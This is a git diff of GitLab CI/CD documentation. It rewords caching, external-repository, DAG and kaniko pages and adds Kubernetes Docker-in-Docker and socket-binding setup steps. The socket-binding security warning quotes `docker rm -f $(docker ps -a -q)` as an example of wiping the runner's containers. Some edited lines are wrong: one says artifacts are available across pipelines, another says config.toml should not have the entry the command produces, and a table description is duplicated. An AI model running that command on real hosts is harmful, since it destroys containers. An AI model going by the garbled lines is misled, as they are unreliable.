diff options
Diffstat (limited to 'doc/ci')
58 files changed, 741 insertions, 620 deletions
diff --git a/doc/ci/README.md b/doc/ci/README.md index 45cf56df894..a363721bd73 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -96,6 +96,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | | [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | | [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. | ## Configuration @@ -121,38 +122,38 @@ Note that certain operations can only be performed according to the Use the vast GitLab CI/CD to easily configure it for specific purposes. Its feature set is listed on the table below according to DevOps stages. -| Feature | Description | -|:--------|:------------| -| **Configure** || -| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | -|---+---| -| **Verify** || -| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | -| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/README.md) | Link Docker containers with your base image.| -| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | -| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | -| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | -|---+---| -| **Release** || -| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | -| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | -| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | -| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | -| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | -| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | -| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | -| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | -| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | -|---+---| -| **Secure** || -| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities.| -| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | -| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | +| Feature | Description | +|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| +| **Configure** | | +| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | +| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Verify** | | +| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | +| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | +| [CI services](services/README.md) | Link Docker containers with your base image. | +| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | +| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | +| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Release** | | +| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | +| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | +| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | +| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | +| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | +| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | +| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | +| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | +| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Secure** | | +| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | +| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | +| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | +| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | ## Examples diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/index.md +++ b/doc/ci/autodeploy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/quick_start_guide.md +++ b/doc/ci/autodeploy/quick_start_guide.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md index b63659c1878..4344a544798 100644 --- a/doc/ci/build_artifacts/README.md +++ b/doc/ci/build_artifacts/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index dfa92d469bc..3f1aea0a4d9 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -38,12 +38,12 @@ runtime dependencies needed to compile the project: be configured to pass intermediate build results between stages, this should be done with artifacts instead. -- `artifacts`: **Use for stage results that will be passed between stages.** +- `artifacts`: **Use for stage results that are passed between stages.** Artifacts are files generated by a job which are stored and uploaded, and can then be fetched and used by jobs in later stages of the **same pipeline**. In other words, [you can't create an artifact in job-A in stage-1, and then use this artifact in job-B in stage-1](https://gitlab.com/gitlab-org/gitlab/-/issues/25837). - This data will not be available in different pipelines, but is available to be downloaded + This data is be available in different pipelines, but is available to be downloaded from the UI. The name `artifacts` sounds like it's only useful outside of the job, like for downloading @@ -87,7 +87,7 @@ cache, when declaring `cache` in your jobs, use one or a mix of the following: - [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. - [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that will be only available to a particular project. + that are only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). @@ -106,7 +106,7 @@ of the following must be true: where the cache is stored in S3 buckets (like shared runners on GitLab.com). - Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) - where the cache will be stored. + where the cache is stored. TIP: **Tip:** Read about the [availability of the cache](#availability-of-the-cache) @@ -125,7 +125,7 @@ cache: While this feels like it might be safe from accidentally overwriting the cache, it means merge requests get slow first pipelines, which might be a bad developer experience. The next time a new commit is pushed to the branch, the -cache will be re-used. +cache is re-used. To enable per-job and per-branch caching: @@ -160,7 +160,7 @@ cache: ### Disabling cache on specific jobs -If you have defined the cache globally, it means that each job will use the +If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to disable it completely, use an empty hash: @@ -431,9 +431,9 @@ Here's what happens behind the scenes: 1. `script` is executed. 1. Pipeline finishes. -By using a single runner on a single machine, you'll not have the issue where +By using a single runner on a single machine, you don't have the issue where `job B` might execute on a runner different from `job A`, thus guaranteeing the -cache between stages. That will only work if the build goes from stage `build` +cache between stages. That only works if the build goes from stage `build` to `test` in the same runner/machine, otherwise, you [might not have the cache available](#cache-mismatch). @@ -442,7 +442,7 @@ During the caching process, there's also a couple of things to consider: - If some other job, with another cache configuration had saved its cache in the same zip file, it is overwritten. If the S3 based shared cache is used, the file is additionally uploaded to S3 to an object based on the cache - key. So, two jobs with different paths, but the same cache key, will overwrite + key. So, two jobs with different paths, but the same cache key, overwrites their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is @@ -450,7 +450,7 @@ During the caching process, there's also a couple of things to consider: things in the archive of `job B`. The reason why it works this way is because the cache created for one runner -often will not be valid when used by a different one which can run on a +often isn't valid when used by a different one which can run on a **different architecture** (e.g., when the cache includes binary files). And since the different steps might be executed by runners running on different machines, it is a safe default. @@ -472,7 +472,7 @@ Let's explore some examples. #### Examples Let's assume you have only one runner assigned to your project, so the cache -will be stored in the runner's machine by default. If two jobs, A and B, +is stored in the runner's machine by default. If two jobs, A and B, have the same cache key, but they cache different paths, cache B would overwrite cache A, even if their `paths` don't match: @@ -506,15 +506,15 @@ job B: 1. `job B` runs. 1. The previous cache, if any, is unzipped. 1. `vendor/` is cached as cache.zip and overwrites the previous one. -1. The next time `job A` runs it will use the cache of `job B` which is different - and thus will be ineffective. +1. The next time `job A` runs it uses the cache of `job B` which is different + and thus isn't effective. To fix that, use different `keys` for each job. In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case -will be different): +is different): ```yaml stages: @@ -553,7 +553,7 @@ To start with a fresh copy of the cache, there are two ways to do that. ### Clearing the cache by changing `cache:key` All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the -next run of the pipeline, the cache will be stored in a different location. +next run of the pipeline, the cache is stored in a different location. ### Clearing the cache manually @@ -567,7 +567,7 @@ via GitLab's UI:  -1. On the next push, your CI/CD job will use a new cache. +1. On the next push, your CI/CD job uses a new cache. Behind the scenes, this works by increasing a counter in the database, and the value of that counter is used to create the key for the cache by appending an diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index f8e2a2b7eb0..8430fe4cd1b 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -19,12 +19,12 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). + GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) - with `api` scope. This will be used to authenticate requests from the web - hook that will be created in Bitbucket to notify GitLab of new commits. + with `api` scope. This is used to authenticate requests from the web + hook that is created in Bitbucket to notify GitLab of new commits. 1. In Bitbucket, from **Settings > Webhooks**, create a new web hook to notify GitLab of new commits. @@ -62,7 +62,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: 1. In Bitbucket, add a script to push the pipeline status to Bitbucket. - > Note: changes made in GitLab will be overwritten by any changes made + > Note: changes made in GitLab are overwritten by any changes made > upstream in Bitbucket. Create a file `build_status` and insert the script below and run diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index b6f885ff220..1060f576be3 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -28,7 +28,7 @@ To perform a one-off authorization with GitHub to grant GitLab access your repositories: 1. Open <https://github.com/settings/tokens/new> to create a **Personal Access - Token**. This token will be used to access your repository and push commit + Token**. This token is used to access your repository and push commit statuses to GitHub. The `repo` and `admin:repo_hook` should be enable to allow GitLab access to @@ -43,12 +43,12 @@ repositories: 1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md). -GitLab will: +GitLab: -1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) -1. Enable [GitHub project integration](../../user/project/integrations/github.md) -1. Create a web hook on GitHub to notify GitLab of new commits. +1. Imports the project. +1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +1. Enables [GitHub project integration](../../user/project/integrations/github.md) +1. Creates a web hook on GitHub to notify GitLab of new commits. ## Connect manually @@ -57,7 +57,7 @@ To use **GitHub Enterprise** with **GitLab.com**, use this method. To manually enable GitLab CI/CD for your repository: 1. In GitHub open <https://github.com/settings/tokens/new> create a **Personal - Access Token.** GitLab will use this token to access your repository and + Access Token.** GitLab uses this token to access your repository and push commit statuses. Enter a **Token description** and update the scope to allow: @@ -68,7 +68,7 @@ To manually enable GitLab CI/CD for your repository: URL for your GitHub repository. If your project is private, use the personal access token you just created for authentication. - GitLab will automatically configure polling-based pull mirroring. + GitLab automatically configures polling-based pull mirroring. 1. Still in GitLab, enable the [GitHub project integration](../../user/project/integrations/github.md) from **Settings > Integrations.** diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index ae6cb759d23..db90714fa6b 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -18,7 +18,7 @@ GitLab CI/CD can be used with: Instead of moving your entire project to GitLab, you can connect your external repository to get the benefits of GitLab CI/CD. -Connecting an external repository will set up [repository mirroring](../../user/project/repository/repository_mirroring.md) +Connecting an external repository sets up [repository mirroring](../../user/project/repository/repository_mirroring.md) and create a lightweight project with issues, merge requests, wiki, and snippets disabled. These features [can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions). @@ -74,7 +74,7 @@ If changes are pushed to the branch referenced by the Pull Request and the Pull Request is still open, a pipeline for the external pull request is created. -GitLab CI/CD will create 2 pipelines in this case. One for the +GitLab CI/CD creates 2 pipelines in this case. One for the branch push and one for the external pull request. After the Pull Request is closed, no pipelines are created for the external pull @@ -89,10 +89,10 @@ The variable names are prefixed with `CI_EXTERNAL_PULL_REQUEST_`. ### Limitations -This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories will be ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). +This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories are ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). -Given that GitLab will create 2 pipelines, if changes are pushed to a remote branch that -references an open Pull Request, both will contribute to the status of the Pull Request +Given that GitLab creates 2 pipelines, if changes are pushed to a remote branch that +references an open Pull Request, both contribute to the status of the Pull Request via GitHub integration. If you want to exclusively run pipelines on external pull requests and not on branches you can add `except: [branches]` to the job specs. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/24089#workaround). diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 04f27c584b7..47cc6f8e677 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -17,7 +17,7 @@ be set up. For example, you may have a specific tool or separate website that is built as part of your main project. Using a DAG, you can specify the relationship between -these jobs and GitLab will then execute the jobs as soon as possible instead of waiting +these jobs and GitLab executes the jobs as soon as possible instead of waiting for each stage to complete. Unlike other DAG solutions for CI/CD, GitLab does not require you to choose one or the @@ -44,9 +44,9 @@ It has a pipeline that looks like the following: | build_d | test_d | deploy_d | Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, -and even if service `a` takes a very long time to build, service `b` will not -wait for it and will finish as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and will run together in staged sequence just like any normal +and even if service `a` takes a very long time to build, service `b` doesn't +wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and +`_d` can be left alone and run together in staged sequence just like any normal GitLab pipeline. ## Use cases @@ -60,7 +60,7 @@ but related microservices. Additionally, a DAG can help with general speediness of pipelines and helping to deliver fast feedback. By creating dependency relationships that don't unnecessarily -block each other, your pipelines will run as quickly as possible regardless of +block each other, your pipelines run as quickly as possible regardless of pipeline stages, ensuring output (including errors) is available to developers as quickly as possible. @@ -88,13 +88,13 @@ are certain use cases that you may need to work around. For more information: > - It's enabled on GitLab.com. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization). -The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. +The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.  -Clicking a node will highlight all the job paths it depends on. +Clicking a node highlights all the job paths it depends on.  diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ebbfde09c67..c8eeb5c222a 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -152,9 +152,9 @@ Docker-in-Docker service and [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. -GitLab Runner 11.11 or later is required, but it is not supported if GitLab -Runner is installed using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html). -See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/83) for details. +##### Docker + +> Introduced in GitLab Runner 11.11. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). 1. Register GitLab Runner from the command line to use `docker` and `privileged` @@ -217,6 +217,62 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # The 'docker' hostname is the alias of the service container as described at # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # + # Specify to Docker where to create the certificates, Docker will + # create them automatically on boot, and will create + # `/certs/client` that will be shared between the service and job + # container, thanks to volume mount from config.toml + DOCKER_TLS_CERTDIR: "/certs" + + services: + - docker:19.03.12-dind + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +##### Kubernetes + +> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0. + +1. Using the + [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the + [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137) + to specify a volume mount. + + ```yaml + runners: + config: | + [[runners]] + [runners.kubernetes] + image = "ubuntu:20.04" + privileged = true + [[runners.kubernetes.volumes.empty_dir]] + name = "docker-certs" + mount_path = "/certs/client" + medium = "Memory" + ``` + +1. You can now use `docker` in the build script (note the inclusion of the + `docker:19.03.13-dind` service): + + ```yaml + image: docker:19.03.13 + + variables: + # When using dind service, we need to instruct docker to talk with + # the daemon started inside of the service. The daemon is available + # with a network connection instead of the default + # /var/run/docker.sock socket. + DOCKER_HOST: tcp://docker:2376 + # + # The 'docker' hostname is the alias of the service container as described at + # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # If you're using GitLab Runner 12.7 or earlier with the Kubernetes executor and Kubernetes 1.6 or earlier, # the variable must be set to tcp://localhost:2376 because of how the # Kubernetes executor connects services to the job container @@ -227,9 +283,14 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # `/certs/client` that will be shared between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" + # These are usually specified by the entrypoint, however the + # Kubernetes executor doesn't run entrypoints + # https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4125 + DOCKER_TLS_VERIFY: 1 + DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client" services: - - docker:19.03.12-dind + - docker:19.03.13-dind before_script: - docker info @@ -302,6 +363,90 @@ build: - docker run my-docker-image /script/to/run/tests ``` +#### Use Docker socket binding + +The third approach is to bind-mount `/var/run/docker.sock` into the +container so that Docker is available in the context of that image. + +NOTE: **Note:** +If you bind the Docker socket and you are +[using GitLab Runner 11.11 or later](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), +you can no longer use `docker:19.03.12-dind` as a service. Volume bindings +are done to the services as well, making these incompatible. + +To make Docker available in the context of the image: + +1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). +1. From the command line, register a runner with the `docker` executor and share `/var/run/docker.sock`: + + ```shell + sudo gitlab-runner register -n \ + --url https://gitlab.com/ \ + --registration-token REGISTRATION_TOKEN \ + --executor docker \ + --description "My Docker Runner" \ + --docker-image "docker:19.03.12" \ + --docker-volumes /var/run/docker.sock:/var/run/docker.sock + ``` + + This command registers a new runner to use the special + `docker:19.03.12` image, which is provided by Docker. **The command uses + the Docker daemon of the runner itself. Any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** + This may have complications and limitations that are unsuitable for your workflow. + + Your `config.toml` file should not have an entry like this: + + ```toml + [[runners]] + url = "https://gitlab.com/" + token = REGISTRATION_TOKEN + executor = "docker" + [runners.docker] + tls_verify = false + image = "docker:19.03.12" + privileged = false + disable_cache = false + volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] + [runners.cache] + Insecure = false + ``` + +1. Use `docker` in the build script. You don't need to + include the `docker:19.03.12-dind` service, like you do when you're using + the Docker-in-Docker executor: + + ```yaml + image: docker:19.03.12 + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +This method avoids using Docker in privileged mode. However, +the implications of this method are: + +- By sharing the Docker daemon, you are effectively disabling all + the security mechanisms of containers and exposing your host to privilege + escalation, which can lead to container breakout. For example, if a project + ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner + containers. +- Concurrent jobs may not work; if your tests + create containers with specific names, they may conflict with each other. +- Sharing files and directories from the source repository into containers may not + work as expected. Volume mounting is done in the context of the host + machine, not the build container. For example: + + ```shell + docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests + ``` + #### Enable registry mirror for `docker:dind` service When the Docker daemon starts inside of the service container, it uses @@ -381,7 +526,7 @@ content: Update the `config.toml` file to mount the file to `/etc/docker/daemon.json`. This would mount the file for **every** -container that is created by GitLab Runner. The configuration will be +container that is created by GitLab Runner. The configuration is picked up by the `dind` service. ```toml @@ -444,90 +589,6 @@ The configuration is picked up by the `dind` service. sub_path = "daemon.json" ``` -#### Use Docker socket binding - -The third approach is to bind-mount `/var/run/docker.sock` into the -container so that Docker is available in the context of that image. - -NOTE: **Note:** -If you bind the Docker socket [when using GitLab Runner 11.11 or -newer](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), -you can no longer use `docker:19.03.12-dind` as a service because volume bindings -are done to the services as well, making these incompatible. - -In order to do that, follow the steps: - -1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Register GitLab Runner from the command line to use `docker` and share `/var/run/docker.sock`: - - ```shell - sudo gitlab-runner register -n \ - --url https://gitlab.com/ \ - --registration-token REGISTRATION_TOKEN \ - --executor docker \ - --description "My Docker Runner" \ - --docker-image "docker:19.03.12" \ - --docker-volumes /var/run/docker.sock:/var/run/docker.sock - ``` - - The above command registers a new runner to use the special - `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the runner itself, and any containers spawned by Docker - commands are siblings of the runner rather than children of the runner.** - This may have complications and limitations that are unsuitable for your workflow. - - The above command creates a `config.toml` entry similar to this: - - ```toml - [[runners]] - url = "https://gitlab.com/" - token = REGISTRATION_TOKEN - executor = "docker" - [runners.docker] - tls_verify = false - image = "docker:19.03.12" - privileged = false - disable_cache = false - volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] - [runners.cache] - Insecure = false - ``` - -1. You can now use `docker` in the build script (note that you don't need to - include the `docker:19.03.12-dind` service as when using the Docker in Docker - executor): - - ```yaml - image: docker:19.03.12 - - before_script: - - docker info - - build: - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests - ``` - -While the above method avoids using Docker in privileged mode, you should be -aware of the following implications: - -- By sharing the Docker daemon, you are effectively disabling all - the security mechanisms of containers and exposing your host to privilege - escalation which can lead to container breakout. For example, if a project - ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner - containers. -- Concurrent jobs may not work; if your tests - create containers with specific names, they may conflict with each other. -- Sharing files and directories from the source repository into containers may not - work as expected since volume mounting is done in the context of the host - machine, not the build container. For example: - - ```shell - docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests - ``` - ## Making Docker-in-Docker builds faster with Docker layer caching When using Docker-in-Docker, Docker downloads all layers of your image every diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index f9b09bada14..fdb13f384ce 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -37,8 +37,8 @@ few important details: - The kaniko debug image is recommended (`gcr.io/kaniko-project/executor:debug`) because it has a shell, and a shell is required for an image to be used with GitLab CI/CD. -- The entrypoint will need to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), - otherwise the build script will not run. +- The entrypoint needs to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), + otherwise the build script doesn't run. - A Docker `config.json` file needs to be created with the authentication information for the desired container registry. @@ -47,7 +47,7 @@ In the following example, kaniko is used to: 1. Build a Docker image. 1. Then push it to [GitLab Container Registry](../../user/packages/container_registry/index.md). -The job will run only when a tag is pushed. A `config.json` file is created under +The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the [environment variables](../variables/README.md#predefined-environment-variables) GitLab CI/CD provides. diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 8b88ec509e7..189281635fd 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -31,7 +31,7 @@ either: - Site-wide by modifying the settings in `gitlab.yml` and `gitlab.rb` for source and Omnibus installations respectively. -This only applies to pipelines run as part of GitLab CI/CD. This will not enable or disable +This only applies to pipelines run as part of GitLab CI/CD. This doesn't enable or disable pipelines that are run from an [external integration](../user/project/integrations/overview.md#integrations-listing). ## Per-project user setting @@ -42,7 +42,7 @@ To enable or disable GitLab CI/CD Pipelines in your project: 1. Expand the **Repository** section 1. Enable or disable the **Pipelines** toggle as required. -**Project visibility** will also affect pipeline visibility. If set to: +**Project visibility** also affects pipeline visibility. If set to: - **Private**: Only project members can access pipelines. - **Internal** or **Public**: Pipelines can be set to either **Only Project Members** @@ -57,9 +57,9 @@ for source installations, and `gitlab.rb` for Omnibus installations. Two things to note: -- Disabling GitLab CI/CD, will affect only newly-created projects. Projects that - had it enabled prior to this modification, will work as before. -- Even if you disable GitLab CI/CD, users will still be able to enable it in the +- Disabling GitLab CI/CD affects only newly-created projects. Projects that + had it enabled prior to this modification work as before. +- Even if you disable GitLab CI/CD, users can still enable it in the project's settings. For installations from source, open `gitlab.yml` with your editor and set diff --git a/doc/ci/environments.md b/doc/ci/environments.md index b1dc9af6b5b..2ce0618c8e7 100644 --- a/doc/ci/environments.md +++ b/doc/ci/environments.md @@ -3,3 +3,6 @@ redirect_to: 'environments/index.md' --- This document was moved to [another location](environments/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md index 4a73fe2e62c..131a539499d 100644 --- a/doc/ci/examples/browser_performance.md +++ b/doc/ci/examples/browser_performance.md @@ -3,3 +3,6 @@ redirect_to: 